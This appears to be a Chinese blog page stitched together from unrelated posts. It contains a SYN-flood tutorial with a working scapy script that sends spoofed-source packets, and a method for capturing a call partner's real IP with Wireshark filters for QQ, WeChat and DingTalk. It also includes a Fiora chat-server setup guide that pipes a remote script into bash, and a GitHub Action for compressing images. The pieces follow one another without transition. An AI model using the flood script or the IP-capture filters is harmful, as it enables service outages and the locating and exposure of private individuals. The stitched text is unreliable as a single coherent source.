2022年4月

编写python脚本实现SYN FLOOD(DDOS)

原理

SYN FLOOD是DDOS的一种,发生在OSI第四层,这种方式利用TCP协议的特性,就是三次握手。攻击者发送TCP SYN,SYN是TCP三次握手中的第一个数据包,当服务器返回ACK后,该攻击者就不对其进行再确认,那这个TCP连接就处于挂起状态,也就是所谓的半连接状态,服务器收不到再确认的话,还会重复发送ACK给攻击者。

攻击者就对服务器发送非常大量的这种TCP连接,由于每一个都没法完成三次握手,所以在服务器上,这些TCP连接会因为挂起状态而消耗CPU和内存,最后服务器可能死机,从而就无法为正常用户提供服务了。

实验方式

在本机运行脚本,攻击kali linux靶机的80端口,模拟攻击靶机网站,然后在kali linux里使用wireshark观察接收数据分析信息验证是否成功。

Python脚本

import random
import time
from scapy.all import *
#这里的tgt是被攻击的靶机的IP地址
tgt="192.168.137.128"
print(tgt)
dPort = 80
def synFlood(tgt,dPort):
    srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
    for sPort in range(1024,65535):
        index = random.randrange(4)
        ipLayer = IP(src=srcList[index], dst=tgt)
        tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")
        packet = ipLayer / tcpLayer
        send(packet)
synFlood(tgt,dPort)

kali linux靶机开启apache,并且绑定0.0.0.0:80端口

查看服务开启状态

service --stauts-all

image-20210202203157420.png

这里apache没有开启,我们将其开启

service apache2 start

小插曲:主机访问不了kali linux虚拟机的解决方案

这中间遇到了个小插曲,我的主机访问不了虚拟机,这里需要进行网卡还原操作。

image-20210202225908914.png

image-20210202225925780.png

需要管理员权限,编辑ports.conf文件

sudo vim /etc/apache2/ports.conf

编辑文件将80端口改成0.0.0.0:80

image-20210202230205090.png

在kali打开wireshark

image-20210202230706745.png

windows里运行python脚本

kali里面是自带的scapy,这里windows电脑要提前装好scapy

pip3 install scapy-python3

如果中间提示

Traceback (most recent call last):
  File "D:\PycharmProjects\new\main.py", line 3, in
    from scapy.all import *
ModuleNotFoundError: No module named 'scapy'

如下图所示

image-20210202235625714.png

我们需要将scapy的包拷到项目的目录里就好了

image-20210202235803145.png

然后就可以运行了,可以看到已经在疯狂发包了。

image-20210202235851148.png

kali这边已经可以看到很多发送请求,这里通过SNY FLOOD可以占用虚拟机很大的资源,但是这里因为是内网所以带宽方面表现不明显,如果是外网的话,通过SNY断开连接占用大量带宽资源,应该会有明显的卡顿。

image-20210203000131440.png

一、相关声明

本教程仅用于hvv、红蓝攻防对抗等专业领域,请勿用于非法用途。

二、下载地址

城通网盘:https://url95.ctfile.com/d/22064395-39422032-21b658(访问密码:YPOJIE

天翼云盘:https://cloud.189.cn/t/IjEruyiMjAry (访问码:p4ff)

蓝奏云盘:https://ypj.lanzout.com/b00nnkori 密码: biu1

百度网盘:https://pan.baidu.com/s/14PkxeIgUVJVqoh-Do4mMtg 提取码: byia

三、图文教程

首先,我们打开wireshark,这里我们要注意的是

  • 如果你是使用的有线连接的互联网,则使用以太网
  • 如果你是使用的WIFI连接的互联网,则使用Wlan

我们这里属于第二种情况,所以选择WLAN

方法一:使用CTRL+F字符串查找

按一下ctrl F,选择分组详情、字符串、然后输入代码020048(这个是QQ语音对应的特征)

然后使用电脑QQ给对方的号码拨打语音电话,等待对方接通以后,我们点查找就可以看到对方的IP地址了。

方法二:在过滤器中填写代码回车查找

在过滤器中填写udp[8:3]==02:00:48进行过滤,比第一种方法更加直观

为什么是020048?

那这里肯定会有人问了为什么是020048,QQ语音通话使用的是UDP协议直连,简单来说就是语音通话的双方直接连接,不通过其他服务器,020048是QQ UDP协议72字节的报文头

同时也是为什么可以使用udp[8:3]==02:00:48进行过滤的原因,UDP前面包括8字节UDP头后面就是数据,但是wireshark并没有提供udp.data这种直接的过滤方式,故我们使用偏移来实现此过滤,也就只能靠udp[8:x]这样偏移来获取(注:8是固定的八个字节),QQ前面的报文头是不会变化的,所以说我们可以通过之前说的两种方式来找到包含带有真实IP的包。

微信语音获取IP特征过程

如果我们不知道特征,那么怎么去尝试寻找特征呢?其实很简单,电脑连上WIFI,给另一个微信(已知IP)打个电话,然后开着wireshark,在过滤器上可以输入我们已知的IP地址(如果你不知道自己的IP地址,可以在百度上直接输入本机ip就可以快速获取了,我们这里已经获取好了,在过滤器中输入)

然后,我们展开详情,看看Data里有没有同样的特征

我们在这里发现,微信与QQ不同,他的报文头是随机的值,通过找规律发现前两位都是a3,根据之前说的原理,可以使用udp[8:1]==a3进行过滤。

利用data.len进行过滤

这个抓包的并没有上面的第一种方法准确(并不缺少数据,但是过滤后的无关IP较多),此方法参考了台湾中央警察大学三位研究员2020年9月在公开会议上分享的一篇论文,其中提到了根据LengthTime to liveFlags三个维度来来判断嫌疑人真实IP的技巧,根据这篇论文提供的思路,最后得出的命令为data.len >= 120 and data.len <= 150,也就是筛选Length长度为120到150区间的包

其他客户端的特征有吗?

微信、钉钉这些语音的特征有吗?

答案是有的,我们这里直接分享其特征:

  • 钉钉:udp[8:4]==00:01:00:4c
  • QQ:udp[8:3]==02:00:48
  • 微信:udp[8:1]==a3

参考原文

官网文档地址

项目演示:聊天室地址

记得先换源(一键换源):

bash <(curl -sSL https://img.caoyongzhuo.cn/gh/SuperManito/LinuxMirrors@main/ChangeMirrors.sh)

一、前提要求

系统要求 内存要求 硬盘要求
Centos7x(别选8) 4G+(8G最好) 20G+(40G最好)
带宽要求 环境要求 软件要求
5Mbps+(10Mbps最好) GIT YARN NVM NODE.JS等 Finalshell(其它SSH软件)

二、环境配置

  • 要运行 Fiora, 你需要 Node.js(推荐 v14 LTS 版本), MongoDB 和 redis

(一)安装nvm、Node.js、yarn

这里推荐使用nvm安装node.js然后使用npm安装yarn

  • 安装nvm

nvm官网

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.1/install.sh | bash
或者
wget -qO- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.1/install.sh | bash
或者
cd /home
git clone https://github.com/nvm-sh/nvm.git .nvm
cd ~/.nvm
git checkout v0.39.1
. ./nvm.sh
vim ~/.bashrc
将下面的代码输入配置文件
export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"  # This loads nvm
[ -s "$NVM_DIR/bash_completion" ] && \. "$NVM_DIR/bash_completion"  # This loads nvm bash_completion
  • 使用nvm安装node.js
nvm install 14 #使用nvm安装V14.x的node.js
nvm use 14     #启用V14.x的node.js
node -v        #查看node版本
npm -v         #查看npm版本
  • 使用npm安装yarn
npm install -g yarn
yarn --version #查看安装的yarn版本。有版本号就是安装成功。

(二)安装Redis和MongoDB

Redis官网地址 MongoDB官网地址

  • 安装Redis(这里只演示Cenos7的系统。其它系统自行解决。)

1.使用Centos的官网源来安装Redis

sudo yum update  #更新系统源
sudo yum upgrade #升级软件包
sudo yum insatll redis #安装redis

2.从 Snapcraft 安装Redis(替代方案)

sudo yum install epel-release
sudo yum install snapd
sudo systemctl enable --now snapd.socket
sudo ln -s /var/lib/snapd/snap /snap
sudo snap install redis

3.设置开机启动Redis

sudo vim /usr/lib/systemd/system/redis.service

添加下面的内容到配置文件
[Unit]
Description=The redis-server Process Manager
After=syslog.target network.target

[Service]
Type=forking
PIDFile=/var/run/redis_6379.pid
ExecStart=/usr/local/redis/bin/redis-server /usr/local/redis/etc/redis.conf
ExecReload=/bin/kill -USR2 $MAINPID
ExecStop=/bin/kill -SIGINT $MAINPID

[Install]
WantedBy=multi-user.target

sudo systemctl daemon-reload #保存并退出,执行这句话
sudo systemctl start redis.service #启动服务
sudo systemctl enable redis.service #设置开机自启动
  • 安装MongoDB(这里只演示Cenos7的系统。其它系统自行解决。)

1.配置包管理系统

vim /etc/yum.repos.d/mongodb-org-5.0.repo #编辑软件源,并添加下面的内容
[mongodb-org-5.0]
name=MongoDB Repository
baseurl=https://repo.mongodb.org/yum/redhat/$releasever/mongodb-org/5.0/x86_64/
gpgcheck=1
enabled=1
gpgkey=https://www.mongodb.org/static/pgp/server-5.0.asc

2.安装 MongoDB 包

sudo yum install -y mongodb-org

3.请将以下exclude指令添加到您的/etc/yum.conf文件中

exclude=mongodb-org,mongodb-org-database,mongodb-org-server,mongodb-org-shell,mongodb-org-mongos,mongodb-org-tools

4.启动 MongoDB

sudo systemctl daemon-reload
sudo systemctl start mongod
sudo systemctl status mongod #验证MongoDB状态

三、安装Fiora主程序

  • 下载主程序文件。
#作者的原始版本
git clone https://github.com/yinxin630/fiora.git -b master
#我自己的修改版(修改了有些BUG)
git clone https://github.com/TonaSmith/fiora_signed
  • 进入到安装目录安装依赖
cd fiora
yarn install
  • 构建客户端代码并配置 JwtSecret
yarn build:web
echo "JwtSecret=<string>" > .env2 #要将 <string> 替换为一个秘密文本
  • 启动服务端
yarn start

使用浏览器打开 http://[ip地址]:[端口](比如 http://127.0.0.1:9200)

  • 使用 yarn start 运行服务端会在断开 ssh 连接后停止运行, 推荐使用 pm2 来运行
# 安装 pm2
npm install -g pm2
# 使用 pm2 运行 fiora
pm2 start yarn --name fiora -- start
# 查看 pm2 应用状态
pm2 ls
# 查看 pm2 fiora 日志
pm2 logs fiora

四、域名反代

  • 在宝塔面板中新建网站
  • 然后配置HTTPS(SSL证书)
  • 打开配置文件,将文件内容替换为如下内容
  • chat.caoyongzhuo.cn换为自己的网站地址
server
{
    listen 80;
    listen 443 ssl http2;
    listen [::]:443 ssl http2;
    listen [::]:80;
    server_name chat.caoyongzhuo.cn;
    root /www/wwwroot/chat.caoyongzhuo.cn;
    #SSL-START SSL相关配置,请勿删除或修改下一行带注释的404规则
    #error_page 404/404.html;
    #HTTP_TO_HTTPS_START
    if ($server_port !~ 443){
        rewrite ^(/.*)$ https://$host$1 permanent;
    }
    #HTTP_TO_HTTPS_END
    ssl_certificate    /www/server/panel/vhost/cert/chat.caoyongzhuo.cn/fullchain.pem;
    ssl_certificate_key    /www/server/panel/vhost/cert/chat.caoyongzhuo.cn/privkey.pem;
    ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3;
    ssl_ciphers EECDH+CHACHA20:EECDH+CHACHA20-draft:EECDH+AES128:RSA+AES128:EECDH+AES256:RSA+AES256:EECDH+3DES:RSA+3DES:!MD5;
    ssl_prefer_server_ciphers on;
    ssl_session_cache shared:SSL:10m;
    ssl_session_timeout 10m;
    add_header Strict-Transport-Security "max-age=31536000";
    error_page 497  https://$host$request_uri;
location / {
    proxy_pass http://127.0.0.1:9200;
    proxy_set_header Host             $host;
    proxy_set_header X-Real-IP        $remote_addr;
    proxy_set_header X-Forwarded-For  $proxy_add_x_forwarded_for;
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection "upgrade";
    proxy_set_header X-Forward-Proto http;
    proxy_set_header X-Nginx-Proxy true;
    proxy_http_version 1.1;
    proxy_redirect off;
}
    include enable-php-71.conf;
    #PHP-INFO-END
    #REWRITE-START URL重写规则引用,修改后将导致面板设置的伪静态规则失效
    include /www/server/panel/vhost/rewrite/chat.caoyongzhuo.cn.conf;
    #REWRITE-END
    access_log  /www/wwwlogs/chat.caoyongzhuo.cn.log;
    error_log  /www/wwwlogs/chat.caoyongzhuo.cn.error.log;
}

五、搭建中遇到的问题

  • 启动yarn install时候遇到“权限不够的问题”

这是由于nvm的node目录对Fiora主程序目录进行请求时用户组不是root原因导致的。解决办法:

#进入宝塔面板 /www/wwwroot/自己的网站
例如:/www/wwwroot/chat.caoyongzhuo.cn
#将chat.caoyongzhuo.cn整个文件夹的权限从www改为root即可
  • 启动yarn install报错

很有可能是node的版本低于14导致的。解决办法:

nvm install 15 #使用nvm安装node v.15 版本
nvm use 15     #使用nvm启动node v.15 版本
yarn insatll   #重新安装依赖
  • 第二次运行yarn start或者pm2 start yarn --name fiora -- start时失败

这是由于9200端口被占用导致的。解决办法:

sudo lsof -i :9200 #查看端口9200下的程序pid号
sudo kill -9 31363 #杀死该pid。如31362
yarn start 或者 pm2 start yarn --name fiora -- start #重新运行即可
  • PM2管理器中有多个fiora项目

这是由于多次运行pm2 start yarn --name fiora -- start导致的。解决办法:

pm2 delete all #删除所有项目
pm2 start yarn --name fiora -- start #重新创建fiora项目
pm2 retart fiora #重新启动fiora项目
pm2 ls #查看运行中的项目
pm2 save #保证重启VPS时候pm2也自启动

项目演示:聊天室地址

创建 GitHub Action 动作并复制以下命令

name: image
on:
  pull_request:
    paths:
      - 'static/**'
jobs:
  compress:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
        with:
          ref: ${{ github.head_ref }}
      - uses: namoscato/action-tinify@v1
        with:
          api_key: ${{ secrets.TINIFY_API_KEY }}
          github_token: ${{ secrets.GITHUB_TOKEN }}
input description
api_key Tinify API key (create one here)
github_token GITHUB_TOKEN秘密